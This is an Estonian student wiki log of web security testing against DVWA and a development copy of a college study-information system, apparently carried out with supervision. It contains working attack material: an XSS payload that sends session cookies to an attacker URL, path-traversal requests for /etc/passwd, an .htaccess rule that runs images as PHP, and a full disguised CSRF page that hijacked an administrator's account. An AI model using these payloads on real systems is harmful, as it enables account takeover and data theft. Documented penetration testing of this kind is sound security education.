Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
:Cross-Site Scripting (XSS)&lt;br /&gt;
:SQL Injection (blind test)&lt;br /&gt;
:File inclusion&lt;br /&gt;
:Code Execution&lt;br /&gt;
:LDAP Injection&lt;br /&gt;
:Cross Frame Scripting&lt;br /&gt;
:SQL Injection (error msg. test)&lt;br /&gt;
:CRLF Injection&lt;br /&gt;
:Directory Travelsal&lt;br /&gt;
:XPath Injection&lt;br /&gt;
:URL Redirection&lt;br /&gt;
:Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
&lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
&lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
&lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
&lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
&lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
&lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega aga edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
&lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5.sekundiks sisselogimine ära vastava teatega. &lt;br /&gt;
&lt;br /&gt;
Brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
